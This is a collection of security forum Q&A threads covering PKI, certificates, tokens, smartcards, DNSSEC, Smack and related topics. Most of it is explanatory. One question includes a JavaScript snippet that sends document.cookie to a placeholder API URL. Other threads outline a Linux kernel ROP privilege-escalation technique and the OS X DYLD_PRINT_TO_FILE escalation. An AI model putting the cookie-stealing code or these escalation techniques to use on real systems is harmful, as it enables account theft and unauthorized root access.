Best Practices Setting Up an Enterprise PKI I am interested in learning about setting up an (internal) enterprise PKI the right way.

What's mostly clear to me is the technical part. Our PKI will implement an hierarchical trust model based on X.509 certificates. The CSP/Trust Center will consist of a CA, an RA, revocation services, and a directory service. We found software that appears to be suitable for running such a provider.

However, what's much less clear to me is how to architect and run the CSP in a highly secure and sutainable manner. For example,

What are the pros and cons of different hierarchies?
What needs to be considered when choosing the lifetime of certificates?
How do we separate the different parts of the CSP?
How does one store private keys securely?
...

So I guess what I'm looking for are some sort of best practices for building and running an enterprise PKI. Where do people learn about them?

You might find Part III "Deployment Considerations" in Understanding PKI by Adams & Lloyd valuable. In that part the authors address many of the deployment questions that should be considered for any large-scale PKI.

It's a bit older (the second edition is from 2003) but the book still contains great advice.


Does a compromised kernel give complete control over a device? It seems that a recent vulnerability in WiFi firmware allows an attacker to  run code in kernel space, e.g. replace a kernel function with malicious code. In Android/Linux:

Would that give an attacker complete control over the phone? For example, could they install a keylogger or other malware?
Would it allow a compromised device to perform an OTA attack on other devices in the same way (becoming a worm)?
Are these concerns mitigated by other security features, such as SELinux, dm-verity, etc?

Basically, I'm wondering how significant this OTA vulnerability is for unpatched phones.

Running code in "kernel space" means running it in the ring 0 space. In other words, it is the strict definition of "having total control".

The only exception would be if you are running a hypervisor. In such a case, running code in ring 0 of the virtualized OS would "only" give you full control of the virtualized device, not the hypervisor (which is said to be running in ring -1) it is running on. You would need a separate escape exploit to get to that.


How to safely view a malicious PDF? I have a PDF with important information that may contain malware. What would be the best way to view it?

Document-based exploits are directed not at the document itself, but rather at some vulnerability in the viewer. If you view the document in a program that isn't vulnerable (or in a configuration that inhibits the vulnerability), then you won't be exploited.

The real issue is knowing whether or not your viewer is vulnerable, which usually means knowing specifically what the exploit is. But there are alternate PDF viewers such as foxit or even Google chrome's built-in viewer that do not necessarily have the same vulnerabilities as Adobe's official viewer. This is not necessarily true for all vulnerabilities, so it's important to understand what you're getting in to ahead of time.

EDIT
If you find yourself frequently dealing with potentially malicious materials, it would be very wise to set up a hardened virtual environment. I'd recommend booting into a Linux system and running your target OS (usually Windows) in Virtualbox or a similar environment. Save a snapshot of the virtual OS, and then revert to that snapshot after you're done interacting with the malicious content. Also, it's not a bad idea to run the host Linux environment from a read-only installation (i.e. Live-CD).


API based platform to save bank account information We are implementing a portal that will

Require user to provide the bank details (routing number, account number etc).
This data will be sent through SFTP to another carrier that will use the bank account number for billing.

Having read various threads here I have learned that storing payment information requires a certain level of  secure design. I'm looking for an alternative where we never store this information but instead make an API call to store and retrieve this data from a secure platform and then write the data to remote SFTP.

Does this approach reduce our risk assuming we are legally covered
through contract that the partner stores information securely.
This there an API based platform that provides this service? There are payment platforms that provide the processing capability but all we need is secure input and storage from the platform.

If your systems have visibility to the sensitive account data, your negligence could be responsible for any breach or fraud. So by merely collecting the data, you expose yourself to these risks.

These risks are magnified if the sensitive data is durably stored "at rest" in your custody- whether on servers you control or at a provider you contract with- rather than just passing through your systems "in transit."

There are plenty of services that will store data for you, but they will not take any custodial responsibility, particularly in the heightened form that storage of sensitive data implies. Custody remains with you.

So- because your systems have visibility, risk remains with you and you cannot expect to shift that risk onto another provider. Therefore there will not be services that work in precisely the desired fashion in the ACH space.

Services, like Stripe, collect customer payment information and then use that information to request transfers of money from customer accounts to your account. You can safely utilize these services with minimal risk because you never see the sensitive account data. Stripe bears the risk, in exchange for taking a 2-3% cut.

The rules in this arena are much clearer in the credit card domain, where PCI has over the years developed a relatively high degree of sophistication for classifying participating organizations, developing roles and standards, building an audit and compliance ecosystem, and handling enforcement. It is not perfect, and credit card fraud occurs every day, but it is managed and the requirements and consequences are much clearer.

The ACH system, whose counterpart to PCI is NACHA, is much older and arguably less well organized than the credit card system. The machinery is much less mature. This risks that arise from the lack of maturity are offset by the pace at which the ACH system works, in which the minimum transaction time is days rather than the seconds that can be achieved in the credit card system. But NACHA still expects that billers utilizing ACH must have clear evidence both of the identity of the customer initiating the payment and of their assent to any particular transaction. These responsibilities begin with the parties who collect this information.


If I have a valid certificate for xxxxx.github.com, can't I read *.github.com's cookies? Ref: How do I report a security vulnerability about a trusted certificate authority?
This question involved a serious security vulnerability at WoSign.
Here's the finder's blog: http://webcache.googleusercontent.com/search?q=cache%3Ahttps%3A%2F%2Fwww.schrauger.com%2Fthe-story-of-how-wosign-gave-me-an-ssl-certificate-for-github-com&oq=cache%3Ahttps%3A%2F%2Fwww.schrauger.com%2Fthe-story-of-how-wosign-gave-me-an-ssl-certificate-for-github-com
Quoting a part:

GitHub is used to store programming projects. It is a code repository. But it also gives each GitHub user their own subdomain to have a main webpage for their code. The users can do whatever they want with the page.
Thus, I naturally had full control of the subdomain schrauger.github.com and (schrauger.github.io). After verifying I owned these domains to WoSign by uploading their text file, I was allowed to generate a certificate for these two subdomains. Perfectly fine.

He said that he got valid TLS certificate signed by trusted CA to the domain schrauger.github.com as he was able to upload file and verified ownership via HTTP verification methods.
So my question is, if I can get valid certificate for some xxxxx.github.com, can't I MITM those sites and read *.github.com's cookies?
As parent domain cookies are sent to subdomains too, what prevents me from MITMing .github.com website authentication cookies?

If you have a valid (i.e. accepted by clients) certificate for a domain and you can redirect the traffic to the domain to your own system, then you can be in most cases a man in the middle and read and modify SSL encrypted traffic for the domain. This also includes reading cookies, usernames, passwords ... - i.e. everything which TLS was supposed to protect. But if you can actually read a cookie for example.com if you have a certificate for subdomain.example.com only depends on the domain attribute set on the cookie. By default a cookie will only be send to the exact domain which it was issued for, i.e. a cookie set on example.com will by default not be sent on subdomain.example.com.

As a "normal" user you typically can only control traffic inside the local network, i.e. redirect it using ARP spoofing or DNS spoofing or intercept the traffic by having full control over the gateway (router) used by the users in the network. If you are an ISP you could redirect/intercept the traffic for more users and some government agencies have this kind of ability too - in some countries for example all internet traffic goes trough government controlled systems.

Protection against this kind of attacks is done with methods like certificate pinning, certificate transparency or similar - see also Can a nation-state adversary perform a MITM attack by compelling a CA to issue them with fake certs?.


Does user need to keep updated with the certificates locally when using TLS with smtp? https://wjianz.wordpress.com/2014/09/03/howto-installconfigure-msmtp-and-mutt-on-ubuntu/

I got GTS CA 1O1 as the common name instead of Google Internet Authority G2. What is the difference between the two.

So GTS CA 1O1 refers to the one listed here https://pki.goog/?

I see GTS CA 1O1 valid until Dec 15, 2021. So by Dec 15, 2021, I should regenerate the local crt file by openssl x509 -inform DER -in GTS1O1.crt -outform PEM -out gmail-smtp.crt

$ msmtp --serverinfo --tls=on --tls-starttls=off --host=smtp.gmail.com
SMTP server at smtp.gmail.com ([172.217.195.108]), port 465:
    smtp.gmail.com ESMTP a10sm3703146oic.46 - gsmtp
TLS session parameters:
    (TLS1.3)-(ECDHE-X25519)-(RSA-PSS-RSAE-SHA256)-(AES-256-GCM)
TLS certificate information:
    Owner:
        Common Name: smtp.gmail.com
        Organization: Google LLC
        Locality: Mountain View
        State or Province: California
        Country: US
    Issuer:
        Common Name: GTS CA 1O1
        Organization: Google Trust Services
        Country: US
    Validity:
        Activation time: Tue Nov  5 15:45:23 2019
        Expiration time: Tue Jan 28 15:45:23 2020
    Fingerprints:
        SHA256: 50:E7:13:03:7B:A8:D8:28:3C:D2:66:AC:58:E3:76:6D:BB:DB:E2:9D:B6:8F:54:38:10:BC:A5:93:67:25:7D:4D
        SHA1 (deprecated): F4:D9:49:8F:FA:F0:06:D1:B8:D7:AE:A8:56:A3:36:B4:FB:76:3E:32
Capabilities:
    SIZE 35882577:
        Maximum message size is 35882577 bytes = 34.22 MiB
    PIPELINING:
        Support for command grouping for faster transmission
    AUTH:
        Supported authentication methods:
        PLAIN LOGIN OAUTHBEARER

I see GTS CA 1O1 valid until Dec 15, 2021. So by Dec 15, 2021, I should regenerate the local crt file by openssl x509 -inform DER -in GTS1O1.crt -outform PEM -out gmail-smtp.crt

If google at any point changes their certificate, and you statically trust only a single certificate, you will have to refresh it, yes.

The proper way to do this would probably be to use your OS' set of trusted certificates.  On Debian they're by default located in /etc/ssl/certs, and google uses certificates that's trusted by almost all operating systems. This would avoid any manual work on your part, but reduce security slightly. The guide you follow tells you how to do this:

tls_trust_file /etc/ssl/certs/ca-certificates.crt

This will make it trust all certificates that your distribution (Ubuntu) includes as trusted.

I would suspect that you have no guarantee that google will return identical certificates on all connections, nor that they won't change them well ahead of expiry time.


Should I keep all UUIDv4 generated oAuth2 Bearer Tokens in my database to prevent an attack? I generate oauth2 access and refresh tokens and store them in my database. I generate these tokens using UUID v4 and remove the dashes. I used to delete the tokens after they expire but now I store all of them because I thought of something that could happen.

What if an attacker stored locally all of the access tokens that were generated for him and he kept using these access tokens again and again for authorization. Since I, as the DB admin, was deleting the generated tokens, the DB has no way of knowing that the token is unique. Therefore if the UUIDv4 algorithm generates an access token for a different user and it's a collision (same UUID as one generated previously) and the attacker found that collision, he could get into the service since he has the tokens that have been generated before.

My question is should I worry about this and keep all my tokens in case of collision to check for uniqueness or should I delete the access and refresh tokens after they expire and trust that UUIDv4 has enough entropy to prevent this?

I'm also worried that if I keep all the tokens, it's going to inflate the database since the access tokens expire every hour and are regenerated the next time the user takes an action.

Any help is appreciated!

If you are generating version 4 UUIDs using a cryptographically secure RNG, the probability of a previously issued token matching a currently valid token is exactly the same as the probability of any random token created by the attacker matching a current token.

This means that an attacker with previous tokens has no advantage over any other attacker, and you do not need to keep expired tokens in the database.

Focus instead on ensuring you're using a really secure RNG, preferably sourced from a physical source of randomness.

A more useful reason to keep expired UUIDs is to detect problems with the RNG. If you ever get a repeated UUID, it is possible that there is a bug in your random number generation, similar to the Debian OpenSSL bug (DSA-1571-1).


What's the point of buying a Blackberry that runs the Android OS? Recently, Blackberry began selling smartphones that run the Android OS. If the Android OS has so many security issues out-of-the box, then why bother paying extra for it?

Blackberry claims that the phones have a "hardened" version of the Android OS. Are these measures worth the cost, or do they only provide trivial protection against an experienced hacker?

Can you get the same level of protection by simply buying a regular Android and then hardening it yourself?

So many questions, let's tackle one-by-one.

  Recently, Blackberry began selling smartphones that run the Android
  OS. If the Android OS has so many security issues out-of-the box, then
  why bother paying extra for it?

Because Android has many useful applications which are not otherwise available on Blackberry. Android has approximately 10x more apps, so a chance to find an app you need (for example, Airline-specific app) is much higher on Android. Thus for many users it would be worth paying extra.

Consider that an old cell phone (which is not a smartphone) is extremely secure against many nowadays attacks - no ransomware ever! However you'll see very few people still using it, despite its extremely high level of security.

  Blackberry claims that the phones have a "hardened" version of the
  Android OS. Are these measures worth the cost, or do they only provide
  trivial protection against an experienced hacker?

This is impossible to answer without knowing specifics, especially how contained the Android frameworks are on Blackberry. However it is possible to contain them better on Blackberry, because Android frameworks do not have to run under root or have access to hardware, like they do on Android.

  Can you get the same level of protection by simply buying a regular
  Android and then hardening it yourself?

Unless by "harderning" you mean "rewrite a significant enough part of Android", the answer is No. You will not have the same level of protection in this case, because you cannot contain all Android code in such a way that nothing Android-specific runs with elevated privileges.


Getting started with SmartCards; what equipment do I need, what do I need to know? I have an unused SmartCard slot on my laptop and I want to learn how companies take advantage of it.

Are all SmartCard slots capable of reading and writing a blank card?
Are there compatibility issues between cards and readers/writers?
What additional information should I know about SmartCards (capacity, physical security features, logical security features)
What backing infrastructure should I use?  Is AD + Windows CA sufficient? What are widely deployed alternatives?

There are a few different types of Smart Cards, here are the types my old Dell 6420 supports:

Type "A" : ISO14443A — 106 kbps, 212 kbps, 424 kbps, and 848 kbps
Type "B" : ISO14443B — 106 kbps, 212 kbps, 424 kbps, and 848 kbps
HID iClass
Contactless
ISO15693 (Proximity card)
FIPS201 see also NXP  Fire

What are you going to use the Smartcard for?  Signatures, Encryption, or Authentication?  Will the smart card be part of a Common Access Control (CAC) solution?

If you're using it for Authentication know that it's very difficult to get it to work across multiple platforms.  For example, pretend you want to integrate Windows, iPads, Snow Leopard and Linux.  Currently integration of a unified Smart Card authentication is impossible without relying on 3rd party software.  As of Jan 2011, Apple's Federal Engineering Management suggest not using out of the box OSX support for Smartcards.

Thursby's PKard for iOS software extends CAC support to Apple iPads and iPhones
Coolkey is a LDAP server that provides smart card login, single sign-on, secure messaging, and secure email access.

Here is a ton of information on how to set up a PKI and ROOT CA that allows for smartcard use.

Also this document describes the Homeland Security HSPD-12 smart card security standard and related Active Directory configuration.

Lastly, SmartCard deployment is much more than the technology involved.  I suggest also learning about the processes of securely provisioning them.

Microsoft has a Solution Accelerator for Secure Access using Smart Cards available here that includes technical solutions, hypothetical scenarios and technical requirements on how this can be done.


Facebook's warning of self-xss I happened to open my browser console on Facebook recently and was greeted with the following message.

Stop!
This is a browser feature intended for developers. If someone told you to copy and paste something here to enable a Facebook feature or "hack" someone's account, it is a scam and will give them access to your Facebook account.
See https://www.facebook.com/selfxss for more information.

My first thought was this was simply over-kill maybe intended to scare away those unsuspecting internet peoples who would blindly copy and paste some javascript into the console in the hopes of unlocking a secret dislike button.
But I've actually been thinking more about how you could compromise a users session data from the Javascript console.
I thought about a script looping over the document.cookie variable and posting all the cookie data to an api. Something similar to the below.
var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');

for(var i=0 ; i < cookies.length ; ++i) {
    var pair = cookies[i].trim().split('=');
    xhr.send(JSON.stringify({
        name: pair[0],
        value: pair[1]
    }));
}

But my understanding is that adding the http-only flag to a cookie means it can't be accessed by javascript or client side.
So how could an attacker get you to compromise your facebook account purely by self-xss ?

The warning is talking about "access to your Facebook account", not complete control.

Self-XSS works like any XSS. While you cannot read the httpOnly session cookie, you can:

read any data available to the attacked user (messages, secret groups, profile infos, etc)
send arbitrary requests in the name of the attacked user (send messages, create posts, etc)
display arbitrary data to the attacked user (fake messages or posts, phishing attackers, etc)


Where in the CSR is the public key? I am reading
http://www.akadia.com/services/ssh_test_certificate.html

In step 2

openssl req -new -key server.key -out server.csr

server.key is generated earlier using

openssl genrsa -des3 -out server.key 1024

which is the private key.

I do not see any public key being "attached" into the CSR.

Am i missing anything ?

=================

(newly added)

I have opened the csr using vi as well as openssl reg and this is what i saw

bash-3.2# openssl req -in server.csr
-----BEGIN CERTIFICATE REQUEST-----
MIIC7DCCAdQCAQAwgaYxCzAJBgNVBAYTAlNHMRIwEAYDVQQIDAlTaW5nYXBvcmUx
ETAPBgNVBAcMCENsZW1lbnRpMR0wGwYDVQQKDBRPcmFjbGVTemVqaWUgUHRlIEx0
ZDELMAkGA1UECwwCSVQxHTAbBgNVBAMMFHd3dy5vcmFjbGVzemVqaWUuY29tMSUw
IwYJKoZIhvcNAQkBFhZhZG1pbkBvcmFjbGVzemVqaWUuY29tMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3B0IpI7mO1ZNn19V8R0voG3pQuuenzPvomfl
ipjidlvA4oF2486n0Apf8eLudtEBin70CVQ6xx/BYISv/SQqklIrRnhNnTyWsuxy
ofJRyrZyuWVyHo9LX9ARvUuBDXHLNHTepKX3ntsg/4H1o+wl0ZV3/ixj43wj7oNe
bxPEGHldmeaFwRonWXCTp9tXoZOa6agKY8ItSAWytYu2FBY33CXaTNSI2J/bLIVT
sJqJoL1nra35xq9fzyrclcDXVF3gqmOv2zRAUShxp+wtjGmA6e6iA3uM6NxHNrDN
0v3sDEpoDlkeMmTTxY/51QHfmy4HR3oRfdR6ERyx9pYdapPUiQIDAQABoAAwDQYJ
KoZIhvcNAQEFBQADggEBADyDRmogcQsYp6D4I3Mecicw16Miula4b4HfALaF6hwc
Ml9wUCRSBkjrgHIqva7RTx6LLNwcpDBA0V3S6o0HfN4uS8z+IKQ6VMVyk7pVcKcv
PFrZM1oW3oRd/eTU1B7+c98fQMazFfitT5fnTD5Zt+laL+9qutQtVRT/tnKrEX2p
irgBnZuXuOszzcmkI2XPh/eCudGC2es13pcdyHII+6Q5PzwM58ssNziDiLXZU7pD
0mDdIWmF1RBed7GCK9gYvYmnw+20VzRHvWpVEe2sdBlgAQH34xxWX2130vzk6crJ
6K0cP8kc8S2H8iOZ4hQWewrCebntZQNO9ythvOuik4c=
-----END CERTIFICATE REQUEST-----

It seems like the CSR is encoded with some format or is this a hash, if it is , how does the CA verify what's inside ??

I am hopefully sure that it is not encrypted with any key because removing the "server.key", i am still see the CSR in text output with

bash-3.2# openssl req -in server.csr -text

Please enlighten me.

I do not see any public key being "attached" into the CSR.

It's there. Here's where:

When you generate your key like so:

$ openssl genrsa -out server.key 1024
Generating RSA private key, 1024 bit long modulus
....................................++++++
......++++++
e is 65537 (0x10001)

And you generate your CSR like so:

$ openssl req -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:dummy.example.com
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Then the public key will be inside the both the:

Private Key file:

$ openssl rsa -in server.key -pubout
writing RSA key
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC4IPFCBOLLyJWtx37bibBKhKvE
9MbfD0MV8bXU544dVXvWZwLQwluyrsYebpl+4K1aLNmh01qUwBsm4GxESZo4mF3L
13Yki7Xlw95KJVgDBN0i1j96LgaxV/4K8z4RQ1MryGw+EHYFK/5pwtLxGN7Rn7kB
L9HOPEkwfwWbenUikQIDAQAB
-----END PUBLIC KEY-----

CSR file:

$ openssl req -in server.csr -noout -pubkey
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC4IPFCBOLLyJWtx37bibBKhKvE
9MbfD0MV8bXU544dVXvWZwLQwluyrsYebpl+4K1aLNmh01qUwBsm4GxESZo4mF3L
13Yki7Xlw95KJVgDBN0i1j96LgaxV/4K8z4RQ1MryGw+EHYFK/5pwtLxGN7Rn7kB
L9HOPEkwfwWbenUikQIDAQAB
-----END PUBLIC KEY-----


Is using the JWT token to perform queries, as opposed to a raw value in its payload, considered a good practice? For my SPA app, I'm using Firebase as the authentication provider. I'm also using this token to authenticate with my back-end server. The Firebase documentation reads:

  "Warning: Do not accept plain user IDs, such as those you can get
  with the GoogleSignInAccount.getId() method, on your backend server. A
  modified client application can send arbitrary user IDs to your server
  to impersonate users, so you must instead use verifiable ID tokens to
  securely get the user IDs of signed-in users on the server side."

So for my api calls that are user related I don't transmit the raw userId to my backend but instead I always send the whole JWT token which I proceed to verify it and extract the userId token from this. I then use this for my further back-end logic.

Considering that my api calls are over HTTPS and will always contain an authorization header with the said JWT token, is this considered a good practice or am I over-engineering it?

I think the section of the Firebase docs that you link to answers your question (I've quoted that section below for reference).
I believe this is trying to avoid you putting Insecure Direct Object Reference (IDOR) vulnerabilities into your application. OWASP has a great slide deck about IDOR vulns.
The simple example of IDOR vuln is when you have a URL like this:
https://mybank.com/ViewBalance?userID=7

and if you change it to userID=8 then you can see someone else's balance. That's bad.
Basically, never trust the user to tell you who they are; read that from a trusted authentication token. Your firebase docs say pretty much exactly that:

After you receive the ID token by HTTPS POST, you must verify the integrity of the token.

If you're getting the userID from a google-backed auth token, and you're following Google's advice for how to properly validate that token, then you're probably doing right already.
It's probably also worth spending a few minutes convincing yourself that this can't be spoofed, for example: how does the JWT signature work and could an end-user spoof a signature? How are the JWTs transmitted to the client, and how are they stored at the client? How big is the risk that an attacker could get hold of another user's JWT? Etc.

Just for reference, here is the section from the Firebase docs that you link to:

Verify the integrity of the ID token
After you receive the ID token by HTTPS POST, you must verify the integrity of the token. To verify that the token is valid, ensure that the following criteria are satisfied:

The ID token is properly signed by Google. Use Google's public keys (available in JWK or PEM format) to verify the token's signature. These keys are regularly rotated; examine the Cache-Control header in the response to determine when you should retrieve them again.

The value of aud in the ID token is equal to one of your app's client IDs. This check is necessary to prevent ID tokens issued to a malicious app being used to access data about the same user on your app's backend server.

The value of iss in the ID token is equal to accounts.google.com or https://accounts.google.com.

The expiry time (exp) of the ID token has not passed.

If you want to restrict access to only members of your G Suite domain, verify that the ID token has an hd claim that matches your G Suite domain name.

Rather than writing your own code to perform these verification steps, we strongly recommend using a Google API client library for your platform, or a general-purpose JWT library. For development and debugging, you can call our tokeninfo validation endpoint.


Linux Kernel ROP - Returning to userland from kernel context? I have a vulnerable Linux Kernel module (32-bit), which I can successfully exploit, and have gained privileges out of it. Basically, my exploit uses an ROP chain to disable SMEP, and directly jumps to my shellcode mapped at userland. My shellcode at userland makes a call to commit_creds(prepare_kernel_creds(0)); and tries to return back to my userland code.

Now I don't understand how to return to user mode from kernel mode. Several articles point out that I should use iret assembly instruction to return to user-mode. I plainly inserted an iret after the shellcode, but it doesn't seem to work.

I write to a device file, and from the call trace:

? vfs_write
? SyS_write
? do_fast_syscall_32
? entry_SYSENTER_32

I note that this is a fast system call, and it must return through the sysexit instruction.

Now, how do I return back to userland without panicking the kernel? I need to know which call I need to perform( iret / sysexit ) and how to perform it cleanly.

(I have looked over the Intel manuals and a bunch of other resources, but nothing has helped me much until now.)

I ended up writing my shellcode in a different way. As I could not figure out how to return, I let the kernel do the heavy lifting for me, in returning to userland. The idea was to execute my privilege escalation bit, and jump back to where the vulnerable function was supposed to return, with the registers and stack fixed up.

As soon as the kernel returned from the vulnerable function (when it was not overflowed), I noticed something via gdb. (The addresses are imaginary, but explains the concept anyhow.)

(gdb) x/i $eip
0xadd1: ret
(gdb) x/xw $esp
0xadd1: 0xadd2
(gdb) x/6i 0xadd2
0xadd2: add esp,0x40
0xadd3: pop ...
0xadd4: pop ...
0xadd5: pop ...
0xadd6: pop ...
0xadd7: ret

So, immediately after the return, 0x40 bytes of stack is unused and would simply vanish with the add esp instruction. Thus, taking advantage of this fact, I constructed an ROP chain (I had already constructed it while writing this question, its job was to disable SMEP and jump to my userland shellcode), which was 24 bytes long. 4 bytes would overwrite the EIP at the time of return, and the remaining 20 (0x14) would follow it right into the unused stack. This leaves us with 0x2c bytes of unused stack still.

But if we returned back to 0xadd2, we would risk losing a further 0x14 bytes of valuable register information from the stack, and filling up the registers with invalid data. We could add 0x2c to esp in our userland shellcode, and directly jump to 0xadd3, skipping the actual add instruction.

Also noting from the debugging session, everything except eax and ebx were being restored properly. As my overflow had trashed both of them, I had to restore them with values similar to cases when the function made a clean return. (Doing this was simple: I set a breakpoint at 0xadd2, and extracted the values from info reg)

So, my final userland shellcode was this:

Execute privesc payload -> add esp,0x2c -> register fixup -> jump to 0xadd3

Doing this, the code path returned perfectly clean, and the kernel did the task of jumping back to user-mode for me.


If I find a Microsoft Vulnerability do I get credit for reporting it directly to Microsoft? I know that if you discover a vulnerability in a open source product you have the option of fixing it yourself, creating a bug report or other methods to prove that you have contributed to the internet (read society if you like) as a whole in some way.

If I have found a vulnerability and submit it to Microsoft (and they have recognized it as such) is there a similar way I can prove that I indeed provided information.  If so what is this method: Email/link on Microsoft site/good guy letter.

To avoid this question become a discussion (and getting closed immediately) please limit your responses to the following criteria:

Please assume responsible disclosure as defined:
Is there a “standard” to reporting security vulnerabilities that we can use? using @void_in 's answer
Please no ethical discussions (while important, I am not asking here)
If it helps you frame the question this would be in regard to proof for a resume/CV
Timing is not an issue.  I would assume that nothing would happen until at least a patch Tuesday update

Yes! Microsoft's policy seems to be that if you report the vulnerability to them responsibly, you'll get a mention in the acknowledgments section of security bulletins. I would also expect some back and forth correspondence on the issue that you could keep as further proof.

  When you see a security professional acknowledged in a Microsoft
  Security Bulletin, it means that they reported the vulnerability to us
  confidentially, worked with us to develop the patch, and helped us
  disseminate information about it once the threat was eliminated. They
  minimized the threat to customers everywhere by ensuring that
  Microsoft could fix the problem before malicious users even knew it
  existed.

The acknowledgements section does indeed include considerable detail, naming individuals and organizations. For example, the October 2013 bulletin mentions (among others):

xxxx.xxxx@gmail.com, working with HP's Zero Day Initiative, for reporting the Internet Explorer Memory Corruption Vulnerability (CVE-2013-3872)

It would certainly look very good on your CV!


Does DNSSEC still have the "enumerate all names in zone" problem? According to Wikipedia:

  DNSSEC introduces the ability for a hostile party to enumerate all the
  names in a zone by following the NSEC chain. NSEC RRs assert which
  names do not exist in a zone by linking from existing name to existing
  name along a canonical ordering of all the names within a zone. Thus,
  an attacker can query these NSEC RRs in sequence to obtain all the
  names in a zone. Although this is not an attack on the DNS itself, it
  could allow an attacker to map network hosts or other resources by
  enumerating the contents of a zone.

Most of the TLDs have adopted DNSSEC. Does the problem described above still exists? How can that be checked (e.g. Linux command)?

First, I will point out that private information should not be posted in the public domain name system. However, for the obscure case this is actually needed DNSSEC now supports NSEC3 for zones, which prevents this kind of attack (Although is more expensive on the DNS query from my understanding of how NSEC3 works compared to plain NSEC).

Edit: Didn't see the date on this question, hope my answer helps someone.

Edit2: Do note that as @kasperd points out below, this setup is still vulnerable to an offline brute force attack. Read the comments below for more information.


How to authenticate and forward SSH traffic I'm running GitLab and serving git repositories over SSH from GitLab's internal SSH-server. It works just like Github: users adds their public key in a web page and are able to use SSH after that.

I want to restrict access to this server from the Internet while having it completely open on our local network. Is there any way I can set up a SSH-server in front of GitLab that

Authorize users against a whitelist (e.g. ~/.ssh/authorized_keys)
Forwards authorized traffic to my GitLab server

This is quite easy to do with HTTPS-traffic and client certificates using HAProxy, but I can't find any way to achieve the same with SSH and public keys.

Your use case of shielding your GitLab server from outside traffic is commonly solved with a firewall. A firewall can easily be installed locally on the GitLab that will block all incoming traffic except the traffic from the local network. Also a firewall can be installed in front of the GitLab server.

This traffic should still be authenticated using the normal ssh keys used by GitLab.


linux kernel security module smack transmutation example In the kernel documentation for smack security module it reads: "If a directory is marked as transmuting (SMACK64TRANSMUTE=TRUE) and the access rule that allows a process to create an object in that directory includes 't' access the label assigned to the new object will be that of the directory, not the creating process. This makes it much easier for two processes with different labels to share data without granting access to all of their files.".

Can someone give an example how to set up the rules and permissions for the directory and files or other resources being shared?

I'm reading about the tizen three domain security model and the subject that is hard to understand is about the /run directory. Specifically about the System::Run label: "The User domain has complete, transmuting access to this label." On my desktop system the /run directory contains only stuffs owned by root. How would a user process have a write access to it? Or does the "complete access" not mean to have the write permission?

Transmute feature in Smack solves a problem of two applications running with different Smack rules sharing data in a single directory. First of all, both applications need write ('w') and execute ('x') access to label of the directory in order to be able to write into it. But the files that would be created will have Smack label of the process that created them. If one of two apps would like to access files in that directory that were created by the other app, it would need access to the other app's label.

To solve that, Smack provides transmute feature. Two parts are needed:

The applications that write to the directory must have 't' access to the directory label.
The directory needs to have transmute attribute. If it is an ordinary directory, you set the attribute with security.SMACK64TRANSMUTE xattr set to "TRUE", or simpler with "chsmack -t " command. If the directory is a mount point (like /run in your Tizen example), it can be mounted with smackfstransmute="some_label" mount option to give it desired Smack label and enable transmute.

This will enable transmute, affecting Smack labels of newly created files in that directory. Every file created there by one of the apps will now get Smack label of the directory instead of Smack label of the process that created it. And every sub-directory created in that directory will also get transmute attribute.

Let me show an example:

# mkdir /tmp/test
# chsmack -a dir_label /tmp/test
# chsmack /tmp/test
/tmp/test access="dir_label"
# echo "process_label dir_label wx" | smackload
# echo process_label >/proc/self/attr/current

With directory /tmp/test having label "dir_label" and current shell running with label "process_label", let's see how new files and directories will be labeled:

# touch /tmp/test/file1
# mkdir /tmp/test/dir1
# chsmack /tmp/test/file1 /tmp/test/dir1
/tmp/test/file1 access="process_label"
/tmp/test/dir1 access="process_label"

Let's enable transmute:

# chsmack -t /tmp/test
# chsmack /tmp/test
/tmp/test/ access="dir_label" transmute="TRUE"
# echo "process_label dir_label wxt" | smackload

And transmute in action:

# touch /tmp/test/file2
# mkdir /tmp/test/dir2
# chsmack  /tmp/test/file2 /tmp/test/dir2
/tmp/test/file2 access="dir_label"
/tmp/test/dir2 access="dir_label" transmute="TRUE"


When should I sign a PGP key with a non-revocable signature? GnuPG allows the user to sign a key with a non-revocable signature. I have done this when I’m signing one of my own keys—signing my personal key with my work key, for instance. Is there any other situation in which this kind of signature either should or should not be used? Are there any commonly-accepted semantics in a non-revocable signature?

RFC4880, 5.2.3.12. Revocable considers non-revocable keys a "commitment" to a signature that cannot be revoked. The certification's validity can only be invalidated by revoking the entire key used for signing.

I cannot think of a bunch of use cases apart from yours of non-revocable signatures to other keys you're owning yourself.

I could imagine use of this flag for special signatures, like in a situation where an employee designates a revocation key (like an OpenPGP key acting as corporate CA), which cannot be removed any more (so the corporate CA is definitely able to revoke the key, even if breaking up with the employee in conflict.


How does the DYLD privilege escalation vulnerability work on OS X? Just reading about the DYLD privilege escalation vulnerability reported by Stefan Esser at
https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html

I understand this allows anyone to create or open arbitrary files owned by root anywhere in the filesystem but I want to understand more how leaking the file descriptor to child proceses makes this a larger threat than if it didnt.

Analysis

When setting:

DYLD_PRINT_TO_FILE=/tmp/log some_command

the MacOS X dynamic loader will open /tmp/log as a log file, i.e. with append access to potentially debug problems within the dynamic loader. This file is open with the first free file descriptor in the shell calling context which is 3.
Hence the file descriptors associations are:

0   →   stdin
1   →   stdout
2   →   stderr
3   →   /tmp/log

and within this context the process some_command is forked.

Unfortunatly, the dynamic loader doesn't close 3. Hence the process some_command is running with an open file it never had to open and never went through the normal filesystem access control. This may be a file to which some_command should have no access if it normally tried to open it.

Example

For example, although newgrp is a setuid binary it can't write on correctly protected files:

$ newgrp
$ echo '#comment' >&3
zsh: 3: bad file descriptor

this error is normal, the shell forked by newgrp doesn't have a file descriptor
3 open, as lsof permits to clearly see it (look at column FD for the 3):

$ lsof -p $$
